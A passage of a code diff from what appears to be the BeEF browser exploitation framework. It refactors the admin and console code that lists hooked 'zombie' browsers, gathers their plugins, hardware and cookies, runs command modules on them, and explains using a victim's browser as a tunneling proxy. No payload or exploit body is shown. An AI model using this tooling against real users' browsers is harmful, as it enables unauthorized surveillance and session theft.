-    # set and add the return values for hasPersistentCookies
-    has_persistent_cookies = BD.get(zombie_session, 'hasPersistentCookies')
-    if not has_persistent_cookies.nil?
-      encoded_has_persistent_cookies = CGI.escapeHTML(has_persistent_cookies)
-      encoded_has_persistent_cookies_hash = { 'Persistent Cookies' => encoded_has_persistent_cookies }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_persistent_cookies_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
- 
-    @body = summary_grid_hash.to_json  
+    @body = summary_grid_hash.to_json
   end
-      
+
   # Returns the list of all command_modules in a JSON format
   def select_all_command_modules
     @body = command_modules2json(BeEF::Modules.get_enabled.keys)
@@ -562,10 +263,10 @@ class Modules < BeEF::Extension::AdminUI::HttpController
   #Recursive function to sort all the parent's children
   def sort_recursive_tree(parent)
     # sort the children nodes by status and name
-    parent.each {|x| 
+    parent.each {|x|
       #print_info "Sorting: " + x['children'].to_s
       if x.is_a?(Hash) and x.has_key?('children')
-        x['children'] = x['children'].sort_by {|a| 
+        x['children'] = x['children'].sort_by {|a|
           fldr = a['cls'] ? a['cls'] : 'zzzzz'
           "#{fldr}#{a['status']}#{a['text']}"
         }
@@ -649,20 +350,20 @@ class Modules < BeEF::Extension::AdminUI::HttpController
          update_command_module_tree(tree, dyn_mod_category, command_module_icon_path, command_module_status, command_mod_name,dyn_mod.id)
        }
     end
-      
-    # sort the parent array nodes 
+
+    # sort the parent array nodes
     tree.sort! {|a,b| a['text'] <=> b['text']}
-    
+
     sort_recursive_tree(tree)
 
     retitle_recursive_tree(tree)
-    
 
-      
+
+
     # return a JSON array of hashes
     @body = tree.to_json
   end
-  
+
   # Returns the inputs definition of an command_module.
   def select_command_module
     command_module_id = @params['command_module_id'] || nil
@@ -677,7 +378,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
        @body = command_modules2json([key])
     end
   end
-  
+
   # Returns the list of commands for an command_module
   def select_command_module_commands
     commands = []
@@ -692,32 +393,32 @@ class Modules < BeEF::Extension::AdminUI::HttpController
     nonce = @params['nonce'] || nil
     (print_error "nonce is nil";return) if nonce.nil?
     (print_error "nonce incorrect";return) if @session.get_nonce != nonce
-    
+
     # get the browser id
     zombie = Z.first(:session => zombie_session)
     (print_error "Zombie is nil";return) if zombie.nil?
     zombie_id = zombie.id
     (print_error "Zombie id is nil";return) if zombie_id.nil?
-      
+
     C.all(:command_module_id => command_module_id, :hooked_browser_id => zombie_id).each do |command|
       commands.push({
-        'id' => i, 
-        'object_id' => command.id, 
-        'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s, 
+        'id' => i,
+        'object_id' => command.id,
+        'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s,
         'label' => command.label
         })
       i+=1
     end
-      
+
     @body = {
-      'success' => 'true', 
+      'success' => 'true',
       'commands' => commands}.to_json
-      
+
   end
-  
+
   # Attaches an command_module to a zombie.
   def attach_command_module
-    
+
     definition = {}
 
     # get params
@@ -729,8 +430,8 @@ class Modules < BeEF::Extension::AdminUI::HttpController
     nonce = @params['nonce'] || nil
     (print_error "nonce is nil";return) if nonce.nil?
     (print_error "nonce incorrect";return) if @session.get_nonce != nonce
-    
-    @params.keys.each {|param| 
+
+    @params.keys.each {|param|
       (print_error "invalid key param string";return) if not BeEF::Filters.has_valid_param_chars?(param)
       (print_error "first char is num";return) if BeEF::Filters.first_char_is_num?(param)
       definition[param[4..-1]] = params[param]
@@ -749,10 +450,10 @@ class Modules < BeEF::Extension::AdminUI::HttpController
     exec_results = BeEF::Module.execute(mod_key, zombie_session, def2)
     @body = (exec_results != nil) ? '{success: true}' : '{success: false}'
   end
-  
+
   # Re-execute an command_module to a zombie.
   def reexecute_command_module
-    
+
     # get params
     command_id = @params['command_id'] || nil
     (print_error "Command id is nil";return) if command_id.nil?
@@ -762,15 +463,15 @@ class Modules < BeEF::Extension::AdminUI::HttpController
     nonce = @params['nonce'] || nil
     (print_error "nonce is nil";return) if nonce.nil?
     (print_error "nonce incorrect";return) if @session.get_nonce != nonce
-    
+
     command.instructions_sent = false
     command.save
-    
+
     @body = '{success : true}'
   end
 
   def attach_dynamic_command_module
-    
+
     definition = {}
 
     # get params
@@ -782,8 +483,8 @@ class Modules < BeEF::Extension::AdminUI::HttpController
     nonce = @params['nonce'] || nil
     (print_error "nonce is nil";return) if nonce.nil?
     (print_error "nonce incorrect";return) if @session.get_nonce != nonce
-    
-    @params.keys.each {|param| 
+
+    @params.keys.each {|param|
       (print_error "invalid key param string";return) if not BeEF::Filters.has_valid_param_chars?(param)
       (print_error "first char is num";return) if BeEF::Filters.first_char_is_num?(param)
       definition[param[4..-1]] = params[param]
@@ -825,11 +526,11 @@ class Modules < BeEF::Extension::AdminUI::HttpController
 
 
   end
-  
+
   # Returns the results of a command
   def select_command_results
     results = []
-    
+
     # get params
     command_id = @params['command_id']|| nil
     (print_error "Command id is nil";return) if command_id.nil?
@@ -839,24 +540,24 @@ class Modules < BeEF::Extension::AdminUI::HttpController
     # get command_module
     command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
     (print_error "command_module is nil";return) if command_module.nil?
-    
+
     resultsdb = BeEF::Core::Models::Result.all(:command_id => command_id)
     (print_error "Command id result is nil";return) if resultsdb.nil?
-    
+
     resultsdb.each{ |result| results.push({'date' => result.date, 'data' => JSON.parse(result.data)}) }
-    
+
     @body = {
-      'success'             => 'true', 
+      'success'             => 'true',
       'command_module_name' => command_module.name,
       'command_module_id'   => command_module.id,
       'results'             => results}.to_json
 
   end
-  
+
   # Returns the definition of a command.
   # In other words it returns the command that was used to command_module a zombie.
   def select_command
-    
+
     # get params
     command_id = @params['command_id'] || nil
     (print_error "Command id is nil";return) if command_id.nil?
@@ -873,9 +574,9 @@ class Modules < BeEF::Extension::AdminUI::HttpController
       command_module_name = command_module.name
       e = BeEF::Core::Command.const_get(command_module_name.capitalize).new(command_module_name)
     end
-            
+
     @body = {
-      'success' => 'true', 
+      'success' => 'true',
       'command_module_name'  => command_module_name,
       'command_module_id'    => command_module.id,
       'data'                 => BeEF::Module.get_options(command_module_name),
@@ -883,9 +584,9 @@ class Modules < BeEF::Extension::AdminUI::HttpController
     }.to_json
 
   end
-  
+
   private
-  
+
   # Takes a list of command_modules and returns them as a JSON array
   def command_modules2json(command_modules)
     command_modules_json = {}
@@ -901,7 +602,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
         command_modules_json[i] = h
         i += 1
     end
-    
+
     if not command_modules_json.empty?
       return {'success' => 'true', 'command_modules' => command_modules_json}.to_json
     else
@@ -912,15 +613,15 @@ class Modules < BeEF::Extension::AdminUI::HttpController
   # return the input requred for the module in JSON format
   def dynamic_modules2json(id)
     command_modules_json = {}
-    
+
     mod = BeEF::Core::Models::CommandModule.first(:id => id)
 
     # if the module id is not in the database return false
     return {'success' => 'false'}.to_json if(not mod)
-    
+
     # the path will equal Dynamic/<type> and this will get just the type
 		dynamic_type = mod.path.split("/").last
-		
+
     e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new
     e.update_info(mod.id)
     e.update_data()
@@ -947,7 +648,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
     return {'success' => 'true', 'command_modules' => payload_options_json}.to_json
 
   end
-  
+
 end
 
 end

extensions/admin_ui/controllers/panel/panel.rb

@@ -76,37 +76,47 @@ module BeEF
           # create a hash of simple hooked browser details
           def get_simple_hooked_browser_hash(hooked_browser)
 
-            browser_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName')
+            browser_name    = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName')
             browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion')
-            browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
-            os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
-            os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName')
-            hw_icon = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session)
-            hw_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware')
-            domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
-            has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash')
+            browser_icon    = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
+            os_icon         = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
+            os_name         = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName')
+            hw_icon         = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session)
+            hw_name         = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware')
+            domain          = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
+            has_flash       = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash')
             has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket')
             has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears')
-            has_java = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'JavaEnabled')
-            date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp')
+            has_java        = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'JavaEnabled')
+            has_activex     = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasActiveX')
+            has_silverlight = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasSilverlight')
+            has_quicktime   = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasQuickTime')
+            has_realplayer  = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasRealPlayer')
+            has_vlc         = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasVLC')
+            date_stamp      = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp')
 
             return {
-                'session' => hooked_browser.session,
-                'ip' => hooked_browser.ip,
-                'domain' => domain,
-                'port' => hooked_browser.port.to_s,
-                'browser_name' => browser_name,
+                'session'         => hooked_browser.session,
+                'ip'              => hooked_browser.ip,
+                'domain'          => domain,
+                'port'            => hooked_browser.port.to_s,
+                'browser_name'    => browser_name,
                 'browser_version' => browser_version,
-                'browser_icon' => browser_icon,
-                'os_icon' => os_icon,
-                'os_name' => os_name,
-                'hw_icon' => hw_icon,
-                'hw_name' => hw_name,
-                'has_flash' => has_flash,
+                'browser_icon'    => browser_icon,
+                'os_icon'         => os_icon,
+                'os_name'         => os_name,
+                'hw_icon'         => hw_icon,
+                'hw_name'         => hw_name,
+                'has_flash'       => has_flash,
                 'has_web_sockets' => has_web_sockets,
                 'has_googlegears' => has_googlegears,
-                'has_java' => has_java,
-                'date_stamp' => date_stamp
+                'has_java'        => has_java,
+                'has_activex'     => has_activex,
+                'has_silverlight' => has_silverlight,
+                'has_quicktime'   => has_quicktime,
+                'has_vlc'         => has_vlc,
+                'has_realplayer'  => has_realplayer,
+                'date_stamp'      => date_stamp
             }
 
           end

extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js

@@ -5,10 +5,10 @@
 //
 
 var ZombiesMgr = function(zombies_tree_lists) {
-	
+
 	//save the list of trees in the object
 	this.zombies_tree_lists = zombies_tree_lists;
-	
+
 	// this is a helper class to create a zombie object from a JSON hash index
 	this.zombieFactory = function(index, zombie_array){
 
@@ -26,7 +26,12 @@ var ZombiesMgr = function(zombies_tree_lists) {
 		var has_flash          = zombie_array[index]["has_flash"];
 		var has_web_sockets    = zombie_array[index]["has_web_sockets"];
 		var has_googlegears    = zombie_array[index]["has_googlegears"];
-        var has_java           = zombie_array[index]["has_java"];
+		var has_java           = zombie_array[index]["has_java"];
+		var has_activex        = zombie_array[index]["has_activex"];
+		var has_vlc            = zombie_array[index]["has_vlc"];
+		var has_silverlight    = zombie_array[index]["has_silverlight"];
+		var has_quicktime      = zombie_array[index]["has_quicktime"];
+		var has_realplayer     = zombie_array[index]["has_realplayer"];
 		var date_stamp         = zombie_array[index]["date_stamp"];
 
 		text = "<img src='/ui/media/images/icons/"+escape(browser_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
@@ -40,11 +45,16 @@ var ZombiesMgr = function(zombies_tree_lists) {
 		balloon_text+= "<br/>Hardware: "       + hw_name;
 		balloon_text+= "<br/>Domain: "         + domain + ":" + port;
 		balloon_text+= "<br/>Flash: "          + has_flash;
-        balloon_text+= "<br/>Java: "           + has_java;
-        balloon_text+= "<br/>Web Sockets: "    + has_web_sockets;
+                balloon_text+= "<br/>Java: "           + has_java;
+                balloon_text+= "<br/>Web Sockets: "    + has_web_sockets;
+		balloon_text+= "<br/>ActiveX: "        + has_activex;
+		balloon_text+= "<br/>Silverlight: "    + has_silverlight;
+		balloon_text+= "<br/>QuickTime: "      + has_quicktime;
+                balloon_text+= "<br/>VLC: "            + has_vlc;
+		balloon_text+= "<br/>RealPlayer: "     + has_realplayer;
 		balloon_text+= "<br/>Google Gears: "   + has_googlegears;
 		balloon_text+= "<br/>Date: "           + date_stamp;
-		
+
 		var new_zombie = {
 			'id'           : index,
 			'ip'           : ip,
@@ -55,10 +65,10 @@ var ZombiesMgr = function(zombies_tree_lists) {
 			'domain'       : domain,
             'port'         : port
 		};
-		
+
 		return new_zombie;
 	}
-	
+
 	/*
 	 * Update the hooked browser trees
 	 * @param: {Literal Object} an object containing the list of offline and online hooked browsers.
@@ -67,33 +77,33 @@ var ZombiesMgr = function(zombies_tree_lists) {
 	this.updateZombies = function(zombies, rules){
 		var offline_hooked_browsers = zombies["offline"];
 		var online_hooked_browsers = zombies["online"];
-		
+
 		for(tree_type in this.zombies_tree_lists) {
 			hooked_browsers_tree = this.zombies_tree_lists[tree_type];
-			
+
 			//we compare and remove the hooked browsers from online and offline branches for each tree.
 			hooked_browsers_tree.compareAndRemove(zombies);
-			
+
 			//add an offline browser to the tree
 			for(var i in offline_hooked_browsers) {
 				var offline_hooked_browser = this.zombieFactory(i, offline_hooked_browsers);
 				hooked_browsers_tree.addZombie(offline_hooked_browser, false, ((tree_type != 'basic') ? true : false));
 			}
-			
+
 			//add an online browser to the tree
 			for(var i in online_hooked_browsers) {
 				var online_hooked_browser = this.zombieFactory(i, online_hooked_browsers);
 				hooked_browsers_tree.addZombie(online_hooked_browser, true, ((tree_type != 'basic') ? true : false));
 			}
-			
+
 			//apply the rules to the tree
 			hooked_browsers_tree.applyRules(rules);
-			
+
 			//expand the online hooked browser tree lists
 			if(hooked_browsers_tree.online_hooked_browsers_treenode.childNodes.length > 0) {
 				hooked_browsers_tree.online_hooked_browsers_treenode.expand(true);
 			}
-			
+
 			//expand the offline hooked browser tree lists
 			if(hooked_browsers_tree.offline_hooked_browsers_treenode.childNodes.length > 0) {
 				hooked_browsers_tree.offline_hooked_browsers_treenode.expand(true);

extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRider.js

@@ -32,7 +32,7 @@ ZombieTab_Requester = function(zombie) {
 		title: 'Proxy',
 		layout: 'fit',
 		padding: '10 10 10 10',
-                html: "<p style='font:11px tahoma,arial,helvetica,sans-serif'>The Tunneling Proxy allows you to use a hooked browser as a proxy. Simply right-click a browser from the Hooked Browsers tree to the left and select \"Use as Proxy\". Each request sent through the Proxy is recorded in the History panel in the Rider tab. Click a history item to view the HTTP headers and HTML source of the HTTP response.</p>",
+                html: "<div style='font:11px tahoma,arial,helvetica,sans-serif;width:500px' ><p style='font:11px tahoma,arial,helvetica,sans-serif'>The Tunneling Proxy allows you to use a hooked browser as a proxy. Simply right-click a browser from the Hooked Browsers tree to the left and select \"Use as Proxy\".</p><p style='margin: 10 0 10 0'><img src='/ui/media/images/help/proxy.png'></p><p>The proxy runs on localhost port 6789 by default. Each request sent through the Proxy is recorded in the History panel in the Rider tab. Click a history item to view the HTTP headers and HTML source of the HTTP response.</p><p style='margin: 10 0 10 0'><img src='/ui/media/images/help/history.png'></p><p style='font:11px tahoma,arial,helvetica,sans-serif'>To manually forge an arbitrary HTTP request use the \"Forge Request\" tab from the Rider tab.</p><p style='margin: 10 0 10 0'><img src='/ui/media/images/help/forge.png'></p><p style='font:11px tahoma,arial,helvetica,sans-serif'>For more information see: <a href=\"https://github.com/beefproject/beef/wiki/Tunneling\">https://github.com/beefproject/beef/wiki/Tunneling</a></p></div>",
 		listeners: {
 			activate: function(proxy_panel) {
 				// to do: refresh list of hooked browsers

extensions/console/lib/command_dispatcher/core.rb

@@ -142,11 +142,12 @@ class Core
           'Id',
           'IP',
           'Browser',
-          'OS'
+          'OS',
+          'Hardware'
         ])
     
     BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)).each do |zombie|
-      tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName')+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName')]
+      tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName')+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'Hardware')]
     end
     
     puts "\n"

extensions/console/lib/shellinterface.rb

@@ -8,14 +8,14 @@ module Extension
 module Console
 
 class ShellInterface
-  
+
   BD = BeEF::Core::Models::BrowserDetails
-  
+
   def initialize(config)
     self.config = config
     self.cmd = {}
   end
-  
+
   def settarget(id)
     begin
       self.targetsession = BeEF::Core::Models::HookedBrowser.first(:id => id).session
@@ -25,7 +25,7 @@ class ShellInterface
       return nil
     end
   end
-  
+
   def setofflinetarget(id)
     begin
       self.targetsession = BeEF::Core::Models::HookedBrowser.first(:id => id).session
@@ -35,7 +35,7 @@ class ShellInterface
       return nil
     end
   end
-  
+
   def cleartarget
     self.targetsession = nil
     self.targetip = nil
@@ -43,11 +43,11 @@ class ShellInterface
     self.cmd = {}
   end
 
-  # This is a *modified* replica of select_command_modules_tree from extensions/admin_ui/controllers/modules/modules.rb
+  # @note Get commands. This is a *modified* replica of select_command_modules_tree from extensions/admin_ui/controllers/modules/modules.rb
   def getcommands
-    
+
     return if self.targetid.nil?
-    
+
     tree = []
     BeEF::Modules.get_categories.each { |c|
         if c[-1,1] != "/"
@@ -104,39 +104,39 @@ class ShellInterface
         update_command_module_tree(tree, dyn_mod_category, "Verified Unknown", command_mod_name,dyn_mod.id)
        }
     end
-    
-    # sort the parent array nodes 
+
+    # sort the parent array nodes
     tree.sort! {|a,b| a['text'] <=> b['text']}
-  
+
     # sort the children nodes by status
     tree.each {|x| x['children'] =
       x['children'].sort_by {|a| a['status']}
     }
-    
+
     # append the number of command modules so the branch name results in: "<category name> (num)"
     #tree.each {|command_module_branch|
     #  num_of_command_modules = command_module_branch['children'].length
     #  command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
     #}
-    
+
     # return a JSON array of hashes
     tree
   end
-  
+
   def setcommand(id)
     key = BeEF::Module.get_key_by_database_id(id.to_i)
-    
+
     self.cmd['id'] = id
     self.cmd['Name'] = self.config.get("beef.module.#{key}.name")
     self.cmd['Description'] = self.config.get("beef.module.#{key}.description")
     self.cmd['Category'] = self.config.get("beef.module.#{key}.category")
     self.cmd['Data'] = BeEF::Module.get_options(key)
   end
-  
+
   def clearcommand
     self.cmd = {}
   end
-  
+
   def setparam(param,value)
     self.cmd['Data'].each do |data|
       if data['name'] == param
@@ -145,12 +145,12 @@ class ShellInterface
       end
     end
   end
-  
+
   def getcommandresponses(cmdid = self.cmd['id'])
-    
+
     commands = []
     i = 0
-    
+
     BeEF::Core::Models::Command.all(:command_module_id => cmdid, :hooked_browser_id => self.targetid).each do |command|
       commands.push({
         'id' => i,
@@ -160,10 +160,10 @@ class ShellInterface
       })
       i+=1
     end
-    
+
     commands
   end
-  
+
   def getindividualresponse(cmdid)
     results = []
     begin
@@ -175,26 +175,26 @@ class ShellInterface
     end
     results
   end
-  
+
   def executecommand
     definition = {}
     options = {}
     options.store("zombie_session", self.targetsession.to_s)
     options.store("command_module_id", self.cmd['id'])
-    
+
     if not self.cmd['Data'].nil?
       self.cmd['Data'].each do |key|
         options.store("txt_"+key['name'].to_s,key['value'])
       end
     end
-    
-    options.keys.each {|param| 
+
+    options.keys.each {|param|
       definition[param[4..-1]] = options[param]
       oc = BeEF::Core::Models::OptionCache.first_or_create(:name => param[4..-1])
       oc.value = options[param]
 	    oc.save
     }
-    
+
     mod_key = BeEF::Module.get_key_by_database_id(self.cmd['id'])
     # Hack to rework the old option system into the new option system
     def2 = []
@@ -207,7 +207,7 @@ class ShellInterface
     else
       return false
     end
-    
+
     #Old method
     #begin
     #  BeEF::Core::Models::Command.new(  :data => definition.to_json,
@@ -218,10 +218,10 @@ class ShellInterface
     #rescue
     #  return false
     #end
-    
+
     #return true
   end
-  
+
   def update_command_module_tree(tree, cmd_category, cmd_status, cmd_name, cmd_id)
 
       # construct leaf node for the command module tree
@@ -240,7 +240,7 @@ class ShellInterface
         end
       }
   end
-  
+
   def get_command_module_status(mod)
       hook_session_id = self.targetsession
       if hook_session_id == nil
@@ -250,7 +250,7 @@ class ShellInterface
         'browser' => BD.get(hook_session_id, 'BrowserName'),
         'ver' => BD.get(hook_session_id, 'BrowserVersion'),
         'os' => [BD.get(hook_session_id, 'OsName')]})
-      
+
         when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
           return "Verified Not Working"
         when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
@@ -263,400 +263,108 @@ class ShellInterface
           return "Verified Unknown"
       end
   end
-  
-  #Yoinked from the UI panel - we really need to centralise all this stuff and encapsulate it away??
+
+  # @note Returns a JSON array containing the summary for a selected zombie.
+  # Yoinked from the UI panel -
+  # we really need to centralise all this stuff and encapsulate it away.
   def select_zombie_summary
-    
+
     return if self.targetsession.nil?
 
     # init the summary grid
     summary_grid_hash = {
-      'success' => 'true', 
+      'success' => 'true',
       'results' => []
     }
 
-    # set and add the return values for the page title
-    page_title = BD.get(self.targetsession, 'PageTitle') 
-    if not page_title.nil?
-      encoded_page_title = CGI.escapeHTML(page_title)
-      encoded_page_title_hash = { 'Page Title' => encoded_page_title }
-      
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_page_title_hash,
-        'from' => 'Initialization'
-      }
-      
-      summary_grid_hash['results'].push(page_name_row) # add the row
+    # zombie properties
+    # in the form of: category, UI label, value
+    zombie_properties = [
+
+        # Browser
+        ['Browser', 'Browser Name',       'BrowserName'],
+        ['Browser', 'Browser Version',    'BrowserVersion'],
+        ['Browser', 'Browser UA String',  'BrowserReportedName'],
+        ['Browser', 'Browser Platform',   'BrowserPlatform'],
+        ['Browser', 'Browser Plugins',    'BrowserPlugins'],
+        ['Browser', 'Window Size',        'WindowSize'],
+
+        # Browser Components
+        ['Browser Components', 'Flash',              'HasFlash'],
+        ['Browser Components', 'Java',               'JavaEnabled'],
+        ['Browser Components', 'VBScript',           'VBScriptEnabled'],
+        ['Browser Components', 'PhoneGap',           'HasPhonegap'],
+        ['Browser Components', 'Google Gears',       'HasGoogleGears'],
+        ['Browser Components', 'Silverlight',        'HasSilverlight'],
+        ['Browser Components', 'Web Sockets',        'HasWebSocket'],
+        ['Browser Components', 'QuickTime',          'HasQuickTime'],
+        ['Browser Components', 'RealPlayer',         'HasRealPlayer'],
+        ['Browser Components', 'VLC',                'HasVLC'],
+        ['Browser Components', 'ActiveX',            'HasActiveX'],
+        ['Browser Components', 'Session Cookies',    'hasSessionCookies'],
+        ['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
+
+        # Hooked Page
+        ['Hooked Page', 'Page Title',    'PageTitle'],
+        ['Hooked Page', 'Page URI',      'PageURI'],
+        ['Hooked Page', 'Page Referrer', 'PageReferrer'],
+        ['Hooked Page', 'Host Name/IP',  'HostName'],
+        ['Hooked Page', 'Cookies',       'Cookies'],
+
+        # Host
+        ['Host', 'Date',             'DateStamp'],
+        ['Host', 'Operating System', 'OsName'],
+        ['Host', 'Hardware',         'Hardware'],
+        ['Host', 'CPU',              'CPU'],
+        ['Host', 'Screen Size',      'ScreenSize'],
+        ['Host', 'Touch Screen',     'TouchEnabled']
+    ]
+
+    # set and add the return values for each browser property
+    # in the form of: category, UI label, value
+    zombie_properties.each do |p|
+
+      case p[2]
+        when "BrowserName"
+          data   = BeEF::Core::Constants::Browsers.friendly_name(BD.get(zombie_session, p[2]))
+
+        when "ScreenSize"
+          screen_size_hash = JSON.parse(BD.get(zombie_session, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON
+          width  = screen_size_hash['width']
+          height = screen_size_hash['height']
+          cdepth = screen_size_hash['colordepth']
+          data   = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}"
+
+        when "WindowSize"
+          window_size_hash = JSON.parse(BD.get(zombie_session, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON
+          width  = window_size_hash['width']
+          height = window_size_hash['height']
+          data   = "Width: #{width}, Height: #{height}"
+        else
+          data   = BD.get(zombie_session, p[2])
+      end
+
+      # add property to summary hash
+      if not data.nil?
+        summary_grid_hash['results'].push({
+          'category' => p[0],
+          'data'     => { p[1] => CGI.escapeHTML("#{data}") },
+          'from'     => 'Initialization'
+        })
+      end
+
     end
 
-    # set and add the return values for the page uri
-    page_uri = BD.get(self.targetsession, 'PageURI')
-    if not page_uri.nil?
-      encoded_page_uri = CGI.escapeHTML(page_uri)
-      encoded_page_uri_hash = { 'Page URI' => encoded_page_uri }
-
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_page_uri_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the page referrer
-    page_referrer = BD.get(self.targetsession, 'PageReferrer')
-    if not page_referrer.nil?
-      encoded_page_referrer = CGI.escapeHTML(page_referrer)
-      encoded_page_referrer_hash = { 'Page Referrer' => encoded_page_referrer }
-
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_page_referrer_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the host name
-    host_name = BD.get(self.targetsession, 'HostName') 
-    if not host_name.nil?
-      encoded_host_name = CGI.escapeHTML(host_name)
-      encoded_host_name_hash = { 'Hostname/IP' => encoded_host_name }
-    
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_host_name_hash,
-        'from' => 'Initialization'
-      }
-    
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-    
-	# set and add the return values for the date
-    date_stamp = BD.get(self.targetsession, 'DateStamp')
-    if not date_stamp.nil?
-      encoded_date_stamp = CGI.escapeHTML(date_stamp)
-      encoded_date_stamp_hash = { 'Date' => encoded_date_stamp }
-
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_date_stamp_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the os name
-    os_name = BD.get(self.targetsession, 'OsName')
-    if not os_name.nil?
-      encoded_os_name = CGI.escapeHTML(os_name)
-      encoded_os_name_hash = { 'OS Name' => encoded_os_name }
-
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_os_name_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the os name
-    hw_name = BD.get(self.targetsession, 'Hardware')
-    if not hw_name.nil?
-      encoded_hw_name = CGI.escapeHTML(hw_name)
-      encoded_hw_name_hash = { 'Hardware' => encoded_hw_name }
-
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_hw_name_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the browser name
-    browser_name = BD.get(self.targetsession, 'BrowserName') 
-    if not browser_name.nil?
-      friendly_browser_name = BeEF::Core::Constants::Browsers.friendly_name(browser_name)
-      browser_name_hash = { 'Browser Name' => friendly_browser_name }
-
-      browser_name_row = {
-        'category' => 'Browser',
-        'data' => browser_name_hash,
-        'from' => 'Initialization'
-      }
-    
-      summary_grid_hash['results'].push(browser_name_row) # add the row
-    end
-    
-    # set and add the return values for the browser version
-    browser_version = BD.get(self.targetsession, 'BrowserVersion') 
-    if not browser_version.nil?
-      encoded_browser_version = CGI.escapeHTML(browser_version)
-      browser_version_hash = { 'Browser Version' => encoded_browser_version }
-
-      browser_version_row = {
-        'category' => 'Browser',
-         'data' => browser_version_hash,
-        'from' => 'Initialization'
-      }
-    
-      summary_grid_hash['results'].push(browser_version_row) # add the row
-    end
-    
-    # set and add the return values for the browser ua string
-    browser_uastring = BD.get(self.targetsession, 'BrowserReportedName')
-    if not browser_uastring.nil?
-      browser_uastring_hash = { 'Browser UA String' => browser_uastring }
-
-      browser_uastring_row = {
-        'category' => 'Browser',
-         'data' => browser_uastring_hash,
-        'from' => 'Initialization'
-      }
-    
-      summary_grid_hash['results'].push(browser_uastring_row) # add the row
-    end
-    
-    # set and add the list of cookies
-    cookies = BD.get(self.targetsession, 'Cookies')
-    if not cookies.nil? and not cookies.empty?
-      encoded_cookies = CGI.escapeHTML(cookies)
-      encoded_cookies_hash = { 'Cookies' => encoded_cookies }
-      
